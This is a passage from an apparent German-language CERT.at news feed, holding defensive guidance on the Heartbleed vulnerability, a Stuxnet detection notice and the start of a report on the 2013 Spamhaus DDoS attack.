Auch das SANS ISC pflegt eine solche Liste: &lt;a href=&quot;https://isc.sans.edu/diary/Heartbleed+vendor+notifications/17929&quot;&gt;https://isc.sans.edu/diary/Heartbleed+vendor+notifications/17929&lt;/a&gt;.
&lt;/div&gt;

&lt;h2&gt;Wer ist betroffen?&lt;/h2&gt;
Grunds&amp;auml;tzlich betrifft die Heartbleed Problematik &lt;strong&gt;alle&lt;/strong&gt; Internet Benutzer, jedoch lassen sich diese in zwei Gruppen kategorisieren:

&lt;ul&gt;
	&lt;li&gt;Benutzer&lt;/li&gt;
	&lt;li&gt;Webseiten-Betreiber/System-Administratoren&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;Was k&amp;ouml;nnen/sollen/m&amp;uuml;ssen Betroffene tun?&lt;/h2&gt;

In Abh&amp;auml;ngigkeit davon zu welcher Gruppe von Betroffenen Sie sich z&amp;auml;hlen, empfehlen wir die folgenden Schritte in absteigender Priorit&amp;auml;t.

&lt;h3&gt;System-Administratoren/Webseiten-Betreiber&lt;/h3&gt;

Bitte ber&amp;uuml;cksichtigen Sie bei der Umsetzung der nachfolgenden Liste die Eigenschaften Ihrer Systemumgebung.
&lt;ol&gt;
	&lt;li&gt;Informieren Sie sich bzgl. der von Ihnen eingesetzten Software (Version), 
		ob diese f&amp;uuml;r die Heartbleed Problematik anf&amp;auml;llig ist. 
		Denken Sie auch an Netzwerk-Komponenten, wie Switches, Router, Firewalls, etc. 
		Neben simplem &lt;a title=&quot;http://www.google.com&quot; href=&quot;http://www.google.com&quot; target=&quot;_blank&quot;&gt;Googlen&lt;/a&gt; 
		oder Nachlesen in den entsprechenden Hersteller/Entwickler Foren k&amp;ouml;nnen Scanner wie nmap oder Nessus und 
		Dergleichen aber auch &lt;a title=&quot;http://filippo.io/Heartbleed/&quot; href=&quot;http://filippo.io/Heartbleed/&quot; target=&quot;_blank&quot;&gt;Webseiten&lt;/a&gt;, die speziell zur &amp;Uuml;berpr&amp;uuml;fung von Servern hinsichtlich der Heartbleed Problematik erstellt wurden, verwendet werden.&lt;/li&gt;

	&lt;li&gt;Ist dies der Fall, informieren Sie sich weiters, ob vom Hersteller bereits ein entsprechendes Update angeboten wird.&lt;/li&gt;

	&lt;li&gt;Ist ein solches Update verf&amp;uuml;gbar, installieren Sie dieses (unter R&amp;uuml;cksichtnahme auf Ihre spezielle Systemumgebung). Sollte kein Update verf&amp;uuml;gbar sein, kann dennoch ein zuk&amp;uuml;nftiges Ausnutzen der L&amp;uuml;cke via Firewall/IPS verhindert werden.&lt;/li&gt;

	&lt;li&gt;Danach m&amp;uuml;ssen Sie alle damit verbundenen Services (Apache, OpenVPN etc. - eine l&amp;auml;ngere Liste findet sich &lt;a title=&quot;https://isc.sans.edu/diary/Heartbleed+vendor+notifications/17929&quot; href=&quot;https://isc.sans.edu/diary/Heartbleed+vendor+notifications/17929&quot; target=&quot;_blank&quot;&gt;hier&lt;/a&gt;) &lt;strong&gt;neu Starten&lt;/strong&gt;.&lt;/li&gt;

	&lt;li&gt;Erstellen Sie neue Schl&amp;uuml;ssel und Zertifikate.&lt;/li&gt;
	&lt;li&gt;Spielen Sie nun die neuen SSL-Zertifikate ein (auf Wirksamkeit &amp;uuml;berpr&amp;uuml;fen!).&lt;/li&gt;
	&lt;li&gt;&lt;strong&gt;Im Anschluss widerrufen (revoken) Sie  die alten Zertifikate.&lt;/strong&gt;&lt;/li&gt;
	&lt;li&gt;Wenn die Seite Login-Daten verarbeitet hat sollten Sie nun alle Passw&amp;ouml;rter selbst zur&amp;uuml;cksetzen bzw. 
		Ihre User &amp;uuml;ber die diesbez&amp;uuml;gliche Notwendigkeit informieren.&lt;/li&gt;
&lt;/ol&gt;
Anmerkung: &lt;em&gt;Nicht via OpenSSL &amp;uuml;bertragene Daten (etwa Logins per ssh) sind &lt;strong&gt;nicht&lt;/strong&gt; betroffen und m&amp;uuml;ssen daher auch nicht zur&amp;uuml;ckgesetzt werden.&lt;/em&gt;

&lt;h3&gt;Benutzer&lt;/h3&gt;
&lt;ol&gt;
	&lt;li&gt;&amp;Auml;ndern Sie alle Ihre Passw&amp;ouml;rter! In absteigender Priorit&amp;auml;t empfiehlt sich dabei folgende Reihenfolge:
	&lt;ol&gt;
		&lt;li&gt;E-Mail&lt;/li&gt;
		&lt;li&gt;Payment-Anbieter/Bezahldienste (Paypal, Paylife, Online-Bitcoin-Wallet, Kreditkarten, usw.)&lt;/li&gt;
		&lt;li&gt;Webshops (Amazon, Ebay, etc.)&lt;/li&gt;
		&lt;li&gt;Kunden-IDs (z.B. Apple ID, Microsoft Live ID, Steam, Origin, ...)&lt;/li&gt;
		&lt;li&gt;Oft benutzte/pers&amp;ouml;nlich wichtige Foren&lt;/li&gt;
		&lt;li&gt;Selten genutzte Accounts&lt;/li&gt;
	&lt;/ol&gt;
	&lt;li&gt;Was sind gute Passw&amp;ouml;rter? 
	&lt;ol&gt;
		&lt;li&gt;Passw&amp;ouml;rter sollten &lt;b&gt;lange&lt;/b&gt; sein. Mindestens 12 Zeichen.
		&lt;li&gt;Passw&amp;ouml;rter sollten nur dem Benutzer bekannt sein
		&lt;li&gt;Passw&amp;ouml;rter sollten niemals in einem W&amp;ouml;rterbuch stehen
		&lt;li&gt;Passw&amp;ouml;rter sollten nicht wiederverwendet werden: verschiedene Passw&amp;ouml;rter f&amp;uuml;r verschiedene Seiten!
		&lt;li&gt;Ein guter Trick: man nehme die Anfangsbuchstaben eines Satzes und streue Sonderzeichen und Ziffern ein. Siehe auch &lt;a href=&quot;https://xkcd.com/936/&quot;&gt;das xkcd comic zum Thema&lt;/a&gt;.
		&lt;li&gt;Bei vielen Passw&amp;ouml;rtern empfiehlt sich der Einsatz von &lt;a href=&quot;https://en.wikipedia.org/wiki/Category:Free_password_managers&quot;&gt;Passwort-Managern&lt;/a&gt;
		&lt;li&gt;Weitere Tipps f&amp;uuml;r gute Passw&amp;ouml;rter: &lt;a href=&quot;https://de.wikipedia.org/wiki/Passwort#Wahl_sicherer_Passw.C3.B6rter&quot;&gt; auf Wikipedia&lt;/a&gt;
	&lt;/ol&gt;

&lt;/li&gt;
	&lt;li&gt;Nachdem Sie die Passw&amp;ouml;rter ge&amp;auml;ndert haben loggen Sie sich aus den zugeh&amp;ouml;rigen Portalen/Webseiten aus.&lt;/li&gt;
	&lt;li&gt;&amp;Uuml;berpr&amp;uuml;fen Sie besonders in n&amp;auml;chster Zeit (aber auch r&amp;uuml;ckwirkend) Ihre Kontoausz&amp;uuml;ge  auf etwaig unstimmige Inhalte.&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;&lt;strong&gt;Anmerkungen:&lt;/strong&gt;&lt;/h4&gt;
&lt;ul&gt;
	&lt;li&gt;2-Faktor Sicherheitskonzepte (z.B. Blizzard/WoW, Google Authenticator, ...) sch&amp;uuml;tzen bei der Heartbleed Problematik. 
		Wir empfehlen dennoch damit in Verbindung stehende Passw&amp;ouml;rter zu &amp;auml;ndern.&lt;/li&gt;
	&lt;li&gt;Auch beim Internet-Banking sollte man das Passwort (wo m&amp;ouml;glich) &amp;auml;ndern. Die &amp;Uuml;berweisungen selbst sind zwar (meist) 
		durch TAN (iTAN, mTAN) nochmals extra abgesichert, jedoch k&amp;ouml;nnen Kriminelle mit Ihren Zugansdaten allein 
		bereits unter Umst&amp;auml;nden Ihre Kontodetails und damit einhergehende Informationen wie Kontostand, 
		vergangene Transaktionen, etc. einsehen.&lt;/li&gt;
&lt;/ul&gt;


&lt;h2&gt;Warum sollte ich als &quot;einfacher Benutzer&quot; etwas tun? Die Server-Betreiber haben doch schon reagiert!&lt;/h2&gt;

Bei der Heartbleed Problematik handelt es sich um ein &quot;mehrschichtiges&quot; Problem. 
Dieses kann nur mit Ihrer Unterst&amp;uuml;tzung behoben werden - Passwort &amp;auml;ndern, Ausloggen (=Session Cookie invalidieren).

Da die L&amp;uuml;cke relativ einfach zu finden und auszunutzen ist, besteht eine realistische Gefahr, 
dass andere sie bereits vor l&amp;auml;ngerer Zeit entdeckt und ausgenutzt haben. 
Daher k&amp;ouml;nnten in der Zeit von Bekanntwerden der L&amp;uuml;cke und der Behebung derselbigen durchaus 
Benutzerdaten wie Usernamen/Passw&amp;ouml;rter eingesammelt worden sein.

Das bedeutet: Ihre Mithilfe ist erforderlich! &lt;strong&gt;In letzter Hinsicht sind Sie der/die Leidtragende!&lt;/strong&gt;

&lt;h2&gt;Wie kann ich mich in Zukunft vor solchen Attacken (besser) sch&amp;uuml;tzen?&lt;/h2&gt;

Gleich vorweg: &lt;strong&gt;&quot;absolute Sicherheit&quot; gibt es nicht!&lt;/strong&gt; 
Dennoch lassen sich je nach Gruppe von Internet Benutzern gewisse Empfehlungen zusammenfassen.

&lt;h3&gt;System-Administratoren/Webseiten-Betreiber&lt;/h3&gt;

Machen Sie es Angreifern schwerer indem Sie
&lt;ul&gt;
	&lt;li&gt;alle Ihre Systeme (betrifft auch Netzwerkkomponenten, VPN Software u.&amp;auml;.) und die darauf eingesetzte Software (auch Firmware) aktuell halten&lt;/li&gt;
	&lt;li&gt;wo m&amp;ouml;glich Verschl&amp;uuml;sselungssoftware verwenden. Achten Sie dabei unbedingt auch auf die korrekte Konfiguration derselbigen - entsprechende Anleitungen finden sich zum Beispiel unter &lt;a href=&quot;https://bettercrypto.org/&quot;&gt;bettercrypto.org&lt;/a&gt;&lt;/li&gt;
	&lt;li&gt;laufend die Logs Ihrer Systeme pr&amp;uuml;fen&lt;/li&gt;
	&lt;li&gt;&quot;auf dem Laufenden bleiben&quot; und sich &amp;uuml;ber die von Ihnen eingesetzte Software informieren&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;Benutzer&lt;/h3&gt;
Als Benutzer k&amp;ouml;nnen sie es Kriminellen deutlich erschweren Zugriff zu Ihren Daten zu erhalten:
&lt;ul&gt;
	&lt;li&gt;Verwenden Sie Passw&amp;ouml;rter nicht mehrfach! Zur besseren &amp;Uuml;bersicht empfiehlt 
		sich dar&amp;uuml;ber hinaus der Einsatz von Passwort Safes.&lt;/li&gt;
	&lt;li&gt;Verwenden Sie den Browser-internen Passwort Safe nur f&amp;uuml;r &quot;unwichtige&quot; Benutzerzugangsdaten.&lt;/li&gt;
	&lt;li&gt;W&amp;auml;hlen Sie &quot;sichere&quot; Passw&amp;ouml;rter. Hierf&amp;uuml;r finden sich diverse Leitf&amp;auml;den im Internet bzw. 
		bringen die meisten Passwort Safes bereits eine automatische Bewertung und/oder entsprechende Passwort Generatoren mit.&lt;/li&gt;
	&lt;li&gt;Halten Sie Ihre Systeme aktuell und setzen Sie, wo m&amp;ouml;glich, auf Firewalls und Virenschutz.  &lt;/li&gt;
&lt;/ul&gt;


&lt;h2&gt;Wann ist Heartbleed vor&amp;uuml;ber?&lt;/h2&gt;

Es wird wohl noch l&amp;auml;ngere Zeit auf diese Weise verwundbare Webseiten geben, 
vor allem kleinere Anbieter haben manchmal nicht die technische Kompetenz, 
hier entsprechend und vor allem zeitnah zu reagieren. Es empfiehlt sich daher, 
vor dem Anlegen neuer Accounts kurz &amp;uuml;ber die verf&amp;uuml;gbaren 
&lt;a title=&quot;http://filippo.io/Heartbleed/&quot; href=&quot;http://filippo.io/Heartbleed/&quot; 
target=&quot;_blank&quot;&gt;Online-Tests&lt;/a&gt; nachzusehen, ob der Anbieter f&amp;uuml;r diese Attacke anf&amp;auml;llig ist.

&lt;h2&gt;Ich denke, ich bin betroffen - mein Passwort wurde gestohlen - was tun?&lt;/h2&gt;

Generell ist anzumerken, dass ein Verlust/Diebstahl von Passw&amp;ouml;rtern 
in den meisten F&amp;auml;llen nicht einfach einer bestimmten Ursache - 
im aktuellen Fall der Heartbleed Problematik - zuordenbar ist. 
Wie auch immer, meistens sind solche Vorf&amp;auml;lle aber auf Schadsoftware/Malware 
(Trojaner, Password Stealer, Keylogger, etc.), 
die sich auf Ihrem lokalen System eingenistet haben, zur&amp;uuml;ckzuf&amp;uuml;hren. 
&amp;Uuml;berpr&amp;uuml;fen (und gegebenenfalls bereinigen) Sie daher unbedingt Ihr lokales System - 
entsprechende Anleitungen und Tutorials finden sich zuhauf im Internet.

Danach sollten Sie so schnell wie m&amp;ouml;glich Ihre betroffenen Passw&amp;ouml;rter &amp;auml;ndern 
und je nach Situation und Notwendigkeit eventuell weiterf&amp;uuml;hrende Ma&amp;szlig;nahmen 
wie die Pr&amp;uuml;fung von Kontoausz&amp;uuml;gen, etc. ergreifen.

&lt;h2&gt;Eine Website ist (nach wie vor) verwundbar - an wen soll ich mich wenden?&lt;/h2&gt;

Wenden Sie sich am besten direkt an den betroffenen Anbieter. 
Kontaktinformationen sollten auf der Website ersichtlich sein. 
Sollte dieser wider Erwarten nicht reagieren, kontaktieren Sie uns via 
reports@cert.at und wir unterst&amp;uuml;tzen Sie gerne bei der Koordination.

&lt;h2&gt;Wie betroffen ist &amp;Ouml;sterreich? - Statistiken&lt;/h2&gt;

Unseren ersten Auswertungen (Stand 11.04.2014) zufolge sind aktuell etwas mehr als 
30.000 &amp;ouml;sterreichische Domains/Websites/Server akut betroffen. 
Wie auch immer, viele Betreiber agieren sehr verantwortungsbewusst und beheben Fehler 
(durch Einspielen von Updates, etc.) entsprechend zeitnah. 
Dementsprechend scheinen zwangsweise diese Domains/Websites/Server in Untersuchungen 
danach nicht mehr auf. 

Im Falle der Heartbleed Problematik geht es aber nicht nur um 
&lt;strong&gt;akut verwundbare&lt;/strong&gt; sondern ebenso um die 
&lt;strong&gt;vor kurzem noch verwundbaren&lt;/strong&gt; (siehe weiter oben) 
Domains/Websites/Server. Die dementsprechende &quot;Dunkelziffer&quot; liegt daher wesentlich h&amp;ouml;her.

&lt;h2 id=&quot;links&quot;&gt;Weiterf&amp;uuml;hrende Links (Hersteller-Seiten werden gro&amp;szlig;teils laufend aktualisiert)&lt;/h2&gt;
&lt;div style=&quot;margin-left:20px; border-left:solid black 1px; padding-left:5px&quot;&gt;&lt;b&gt;Update: 2014-04-17&lt;/b&gt;&lt;br&gt;

&lt;ul&gt;
   &lt;li&gt;Eine Timeline, wer wusste wann was &amp;uuml;ber &quot;Heartbleed&quot; (englisch): &lt;a href=&quot;http://www.smh.com.au/it-pro/security-it/heartbleed-disclosure-timeline-who-knew-what-and-when-20140415-zqurk.html&quot;&gt;http://www.smh.com.au/it-pro/security-it/heartbleed-disclosure-timeline-who-knew-what-and-when-20140415-zqurk.html&lt;/a&gt;&lt;/li&gt;
   &lt;li&gt;Liste an betroffener Software von NCSC.fi (englisch): &lt;a href=&quot;https://www.cert.fi/en/reports/2014/vulnerability788210.html&quot;&gt;https://www.cert.fi/en/reports/2014/vulnerability788210.html&lt;/a&gt;&lt;/li&gt;
   &lt;li&gt;&quot;Reverse Heartbleed&quot;, Client-Verwundbarkeiten online testen (englisch): &lt;a href=&quot;https://reverseheartbleed.com/&quot;&gt;https://reverseheartbleed.com/&lt;/a&gt;
   &lt;li&gt;OpenVPN ist auch von &quot;Heartbleed&quot; betroffen: &lt;a href=&quot;http://arstechnica.com/security/2014/04/confirmed-nasty-heartbleed-bug-exposes-openvpn-private-keys-too/&quot;&gt;http://arstechnica.com/security/2014/04/confirmed-nasty-heartbleed-bug-exposes-openvpn-private-keys-too/&lt;/a&gt;&lt;/li&gt;
   &lt;li&gt;Warum wir 'Forward Secrecy' brauchen: &lt;a href=&quot;http://www.heise.de/security/artikel/Warum-wir-Forward-Secrecy-brauchen-2171858.html&quot;&gt;http://www.heise.de/security/artikel/Warum-wir-Forward-Secrecy-brauchen-2171858.html&lt;/a&gt;&lt;/li&gt;
   &lt;li&gt;Bei der &quot;Cloudflare Heartbleed Challenge&quot; wurden tats&amp;auml;chlich die Private Keys ausgelesen: &lt;a href=&quot;http://blog.cloudflare.com/the-results-of-the-cloudflare-challenge&quot;&gt;http://blog.cloudflare.com/the-results-of-the-cloudflare-challenge&lt;/a&gt;&lt;/li&gt;
   &lt;li&gt;Trend Micro Heartbleed Detector Now Available f&amp;uuml;r Android: &lt;a href=&quot;http://blog.trendmicro.com/trendlabs-security-intelligence/heartbleed-detector-now-available/&quot;&gt;http://blog.trendmicro.com/trendlabs-security-intelligence/heartbleed-detector-now-available/&lt;/a&gt;&lt;/li&gt;
   &lt;li&gt;Linux/iptables Rules um &quot;Heartbleed&quot;-Versuche zu erkennen und zu blocken: &lt;a href=&quot;http://www.securityfocus.com/archive/1/531779&quot;&gt;http://www.securityfocus.com/archive/1/531779&lt;/a&gt;&lt;/li&gt;
   &lt;li&gt;SNORT rules um &quot;Heartbleed&quot;-Versuche zu erkennen: &lt;a href=&quot;http://ics-cert.us-cert.gov/FBI-Snort-Signatures-Heartbleed-April-2014&quot;&gt;http://ics-cert.us-cert.gov/FBI-Snort-Signatures-Heartbleed-April-2014&lt;/a&gt;&lt;/li&gt;
   &lt;li&gt;ARGE Daten &quot;Datenleck Heartbleed - datenschutzrechtliche Konsequenzen&quot;: &lt;a href=&quot;http://www.argedaten.at/php/cms_monitor.php?q=PUB-TEXT-ARGEDATEN&amp;s=22164ete&quot;&gt;http://www.argedaten.at/php/cms_monitor.php?q=PUB-TEXT-ARGEDATEN&amp;s=22164ete&lt;/a&gt;&lt;/li&gt;
   &lt;li&gt;Huawei Security Advisory zu &quot;Heartbleed&quot;: &lt;a href=&quot;http://www.huawei.com/en/security/psirt/security-bulletins/security-advisories/hw-332187.htm&quot;&gt;http://www.huawei.com/en/security/psirt/security-bulletins/security-advisories/hw-332187.htm&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/div&gt;

&lt;div style=&quot;margin-left:20px; border-left:solid black 1px; padding-left:5px&quot;&gt;&lt;b&gt;Update: 2014-04-23 08:30&lt;/b&gt;&lt;br&gt;

&lt;ul&gt;
   &lt;li&gt;Liste von Oracle-Produkten mit Informationen zur Verwundbarkeit (englisch): &lt;a href=&quot;http://www.oracle.com/technetwork/topics/security/opensslheartbleedcve-2014-0160-2188454.html&quot;&gt;http://www.oracle.com/technetwork/topics/security/opensslheartbleedcve-2014-0160-2188454.html&lt;/a&gt;&lt;/li&gt;
   &lt;li&gt;Liste betroffener Google-Services (englisch): &lt;a href=&quot;http://googleonlinesecurity.blogspot.co.at/2014/04/google-services-updated-to-address.html&quot;&gt;http://googleonlinesecurity.blogspot.co.at/2014/04/google-services-updated-to-address.html&lt;/a&gt;&lt;/li&gt;
   &lt;li&gt;Liste betroffener BlackBerry-Software (englisch): &lt;a href=&quot;http://www.blackberry.com/btsc/KB35882&quot;&gt;http://www.blackberry.com/btsc/KB35882&lt;/a&gt;
   &lt;li&gt;SBA Research &quot;Heartbleed Bedrohungslage in &amp;Ouml;sterreich&quot; (2x t&amp;auml;glich aktualisiert): &lt;a href=&quot;http://www.sba-research.org/2014/04/15/heartbleed-bedrohungslage-in-osterreich/&quot;&gt;http://www.sba-research.org/2014/04/15/heartbleed-bedrohungslage-in-osterreich/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/div&gt;

&lt;div style=&quot;margin-left:20px; border-left:solid black 1px; padding-left:5px&quot;&gt;&lt;b&gt;Update: 2014-04-23 19:15&lt;/b&gt;&lt;br&gt;

&lt;ul&gt;
   &lt;li&gt;Betroffene Norton-Produkte (englisch): &lt;a href=&quot;https://support.norton.com/sp/en/us/home/current/solutions/v98431836_EndUserProfile_en_us&quot;&gt;https://support.norton.com/sp/en/us/home/current/solutions/v98431836_EndUserProfile_en_us&lt;/a&gt;&lt;/li&gt;
   &lt;li&gt;IBM (englisch, zeitweise schlecht erreichbar): &lt;a href=&quot;https://www-304.ibm.com/connections/blogs/PSIRT/entry/openssl_heartbleed_cve_2014_0160?lang=en_us&quot;&gt;https://www-304.ibm.com/connections/blogs/PSIRT/entry/openssl_heartbleed_cve_2014_0160?lang=en_us&lt;/a&gt;&lt;/li&gt;
   &lt;li&gt;VMware (englisch): &lt;a href=&quot;http://www.vmware.com/security/advisories/VMSA-2014-0004.html&quot;&gt;http://www.vmware.com/security/advisories/VMSA-2014-0004.html&lt;/a&gt;
   &lt;li&gt;Citrix (englisch): &lt;a href=&quot;http://support.citrix.com/article/CTX140605&quot;&gt;http://support.citrix.com/article/CTX140605&lt;/a&gt;&lt;/li&gt;
   &lt;li&gt;D-Link (englisch): &lt;a href=&quot;http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10022&quot;&gt;http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10022&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/div&gt;

&lt;div style=&quot;margin-left:20px; border-left:solid black 1px; padding-left:5px&quot;&gt;&lt;b id=&quot;links20140424&quot;&gt;Update: 2014-04-24&lt;/b&gt;&lt;br&gt;

&lt;ul&gt;
   &lt;li&gt;McAfee (englisch): &lt;a href=&quot;https://kc.mcafee.com/corporate/index?page=content&amp;id=SB10071&quot;&gt;https://kc.mcafee.com/corporate/index?page=content&amp;id=SB10071&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/div&gt;

&lt;div style=&quot;margin-left:20px; border-left:solid black 1px; padding-left:5px&quot;&gt;&lt;b id=&quot;links20140425&quot;&gt;Update: 2014-04-25&lt;/b&gt;&lt;br&gt;

&lt;ul&gt;
   &lt;li&gt;Siemens (englisch): &lt;a href=&quot;https://www.siemens.com/innovation/pool/de/forschungsfelder/siemens_security_advisory_ssa-635659.pdf&quot;&gt;https://www.siemens.com/innovation/pool/de/forschungsfelder/siemens_security_advisory_ssa-635659.pdf&lt;/a&gt;&lt;/li&gt;
   &lt;li&gt;Opera (englisch): &lt;a href=&quot;http://blogs.opera.com/security/2014/04/heartbleed-heartaches/&quot;&gt;http://blogs.opera.com/security/2014/04/heartbleed-heartaches/&lt;/a&gt;&lt;/li&gt;
   &lt;li&gt;Hitachi (englisch): &lt;a href=&quot;http://www.hitachi.com/hirt/publications/hirt-pub14005/index.html&quot;&gt;http://www.hitachi.com/hirt/publications/hirt-pub14005/index.html&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/div&gt;
&lt;hr&gt;&lt;b&gt;Informationsquelle(n):&lt;/b&gt;&lt;br&gt;&lt;br&gt;&lt;i&gt;CERT.at Warnung zu Heartbleed&lt;/i&gt;&lt;br&gt;&lt;a href='https://www.cert.at/de/meldungen/warnungen/warnungen-20140408'&gt;https://cert.at/warnings/all/20140408.html&lt;/a&gt;&lt;br&gt;&lt;i&gt;Whitepaper von SBA-Research&lt;/i&gt;&lt;br&gt;&lt;a href='http://www.sba-research.org/wp-content/uploads/2014/04/HeartbleedWhitepaperv02.pdf'&gt;http://www.sba-research.org/wp-content/uploads/2014/04/HeartbleedWhitepaperv02.pdf&lt;/a&gt;&lt;br&gt;&lt;i&gt;Heartbleed.com&lt;/i&gt;&lt;br&gt;&lt;a href='http://heartbleed.com/'&gt;http://heartbleed.com/&lt;/a&gt;&lt;br&gt;&lt;i&gt;Online-Test&lt;/i&gt;&lt;br&gt;&lt;a href='http://filippo.io/Heartbleed/'&gt;http://filippo.io/Heartbleed/&lt;/a&gt;&lt;br&gt;&lt;i&gt;SANS Diary&lt;/i&gt;&lt;br&gt;&lt;a href='https://isc.sans.edu/diary/Heartbleed+vendor+notifications/17929'&gt;https://isc.sans.edu/diary/Heartbleed+vendor+notifications/17929&lt;/a&gt;</description><pubDate>Wed, 25 Sep 2019 14:10:01 GMT+0100</pubDate><guid>https://www.cert.at/de/spezielles/2014/5/spezielles-20140411</guid><dc:creator>CERT.at</dc:creator><dc:date>2019-09-25T14:10:01Z</dc:date></item><item><title>Special Report: Erkennung von Stuxnet</title><link>https://www.cert.at/de/spezielles/2013/7/spezielles-20100927</link><description>27. September 2010&lt;p /&gt;

&lt;h2&gt;Zusammenfassung&lt;/h2&gt;

Aktuell kursiert Schadsoftware, die die Manipulation von industriellen Steuerungsanlagen der Marke Siemens SIMATIC zum Ziel hat. Die aktuelle Schadsoftware (&quot;Malware&quot;) verbreitet sich &amp;uuml;ber mehrere Schwachstellen in Microsoft Windows und infiziert, &amp;uuml;ber die zur Steuerung und Programmierung der Anlagen (SIMATIC, WinCC, PCS7) verwendeten Windows PCs, die industriellen Anlagen selbst. Die Auswirkungen k&amp;ouml;nnen von Industriespionage, &amp;uuml;ber sicherheitsrelevante Fehlfunktionen in den Steuerungssystemen bis zu Systemausf&amp;auml;llen f&amp;uuml;hren. Es sind daher entsprechende Ma&amp;szlig;nahmen zur Erkennung von Infektionen und Absicherung der Anlagen zu treffen.
&lt;p /&gt;
Der Hersteller Siemens stellt eine Anleitung zur Kontrolle und Bereinigung der Systeme zur Verf&amp;uuml;gung.
&lt;p /&gt;

Der vorliegende &lt;a href=&quot;https://www.cert.at/media/files/news/specials/20100927/files/stuxnet-report_public.pdf&quot;&gt;Bericht von CERT.at&lt;/a&gt; zeigt auf, wie man lokal und mittels Netzwerkmonitoring feststellen kann, ob potentiell eine Infektion im eigenen Unternehmen stattgefunden hat.

&lt;p /&gt;
Erg&amp;auml;nzend hat &lt;a href=&quot;http://www.ikarus.at&quot;&gt;Ikarus&lt;/a&gt; einen informativen und detaillierten &lt;a href=&quot;http://www.ikarus.at/de/business/community/blog/index.html?blog=/blog/2010-10/2010_10_08_stuxnet_kurzbericht.html&amp;action=detail&quot;&gt;Bericht&lt;/a&gt; &amp;uuml;ber Stuxnet verfasst.
&lt;p /&gt;
&lt;hr&gt;&lt;b&gt;Informationsquelle(n):&lt;/b&gt;&lt;br&gt;&lt;br&gt;&lt;i&gt;CERT.at Bericht zur Erkennung von Stuxnet&lt;/i&gt;&lt;br&gt;&lt;a href='https://www.cert.at/media/files/news/specials/20100927/files/stuxnet-report_public.pdf'&gt;http://www.cert.at/static/downloads/specials/stuxnet-report_public.pdf&lt;/a&gt;&lt;br&gt;&lt;i&gt;Siemens Informationsseite zu Stuxnet (englisch)&lt;/i&gt;&lt;br&gt;&lt;a href='http://support.automation.siemens.com/WW/llisapi.dll?func=cslib.csinfo&amp;lang=en&amp;objid=43876783&amp;caller=view'&gt;http://support.automation.siemens.com/WW/llisapi.dll?func=cslib.csinfo&amp;lang=en&amp;objid=43876783&amp;caller=view&lt;/a&gt;&lt;br&gt;&lt;i&gt;Ikarus Report zu Stuxnet (lesenswert!)&lt;/i&gt;&lt;br&gt;&lt;a href='http://www.ikarus.at/de/business/community/blog/index.html?blog=/blog/2010-10/2010_10_08_stuxnet_kurzbericht.html&amp;action=detail'&gt;http://www.ikarus.at/de/business/community/blog/index.html?blog=/blog/2010-10/2010_10_08_stuxnet_kurzbericht.html&amp;action=detail&lt;/a&gt;</description><pubDate>Wed, 25 Sep 2019 14:09:58 GMT+0100</pubDate><guid>https://www.cert.at/de/spezielles/2013/7/spezielles-20100927</guid><dc:creator>CERT.at</dc:creator><dc:date>2019-09-25T14:09:58Z</dc:date></item><item><title>Special Report: Der Spamhaus/CloudFlare/Stophaus Denial of Service Angriff</title><link>https://www.cert.at/de/spezielles/2013/7/spezielles-20130408</link><description>8. April 2013&lt;p /&gt;

&amp;Uuml;ber den Denial-of-Service Angriff auf Spamhaus war in den Medien
in den letzten Wochen viel zu lesen. Auch f&amp;uuml;r CERT.at als nationales CERT 
von &amp;Ouml;sterreich war das eine interessante Zeit.

&lt;p /&gt;

Wir wollen in dem jetzt vorliegenden 
&lt;a href=&quot;https://www.cert.at/media/files/news/specials/20130408/files/20130408-cert.at-report-ddos.pdf&quot;&gt;Bericht&lt;/a&gt; 
die Fakten zusammenfassen und vor allem darstellen, &lt;b&gt;welche Lehren &amp;Ouml;sterreich&lt;/b&gt; aus
diesem Vorfall ziehen sollte.

&lt;p /&gt;

Der &amp;ouml;sterreichische Kaiser soll, nachdem er von den Vorg&amp;auml;ngen
im Paris der franz&amp;ouml;sischen Revolution erfahren hat, angeordnet haben
in der Wiener Innenstadt die Kopfsteinpflaster durch gr&amp;ouml;&amp;szlig;ere Steinplatten 
zu ersetzen. Er wollte nicht, dass das Material f&amp;uuml;r Angriffe sprichw&amp;ouml;rtlich auf
Strasse liegt. Die gleiche Situation haben wir auch hier: Aktuell haben uns
die Angriffe nicht getroffen, aber wir haben gelernt, wie viele Plastersteine
(hier jetzt &quot;offene rekursive Nameserver&quot;) in unseren Netzen herumliegen.

&lt;p /&gt;

Wir sollten diese dringend wegr&amp;auml;umen.

&lt;h2&gt;Zusammenfassung&lt;/h2&gt;

In der zweiten M&amp;auml;rzh&amp;auml;lfte 2013 kam es zu einer Serie von heftigen
Denial-of-Service Angriffen auf &quot;Spamhaus&quot;, einem Anbieter von
Anti-Spam Blocklisten. In manchen Medien wurde dieser als Gefahr f&amp;uuml;r
die Stabilit&amp;auml;t des Internets beschrieben.

&lt;p /&gt;
Das war weit &amp;uuml;bertrieben: weder war die Angriffsmethode neu, noch
war die Angriffsst&amp;auml;rke um Gr&amp;ouml;&amp;szlig;enordnungen h&amp;ouml;her als das bisher
gesehene. Die Kollateralsch&amp;auml;den f&amp;uuml;r unbeteiligte Dritte blieben auf
wenige Punkte im Netz beschr&amp;auml;nkt: die &amp;uuml;berwiegende Mehrheit der
Internet-Nutzer blieb von dem Ereignis v&amp;ouml;llig unber&amp;uuml;hrt.

&lt;p /&gt;
Sowohl die Angreifer als auch die Verteidiger haben w&amp;auml;hrend des
Angriffs ihre Strategien flexibel an die Reaktion des Gegners
angepasst, letztlich war aber die gut eingespielte Kooperation der
Betriebsf&amp;uuml;hrungsteams der Netzbetreiber erfolgreich und diese konnten
die Attacken gemeinsam abwehren. CERT.at als das &amp;ouml;sterreichische
nationale CERT ist in diese globale Zusammenarbeit eingebunden.

&lt;p /&gt;
Dennoch hat der Angriff einige Probleme aufgedeckt, die behoben werden sollten:

&lt;p /&gt;
&lt;ul&gt;
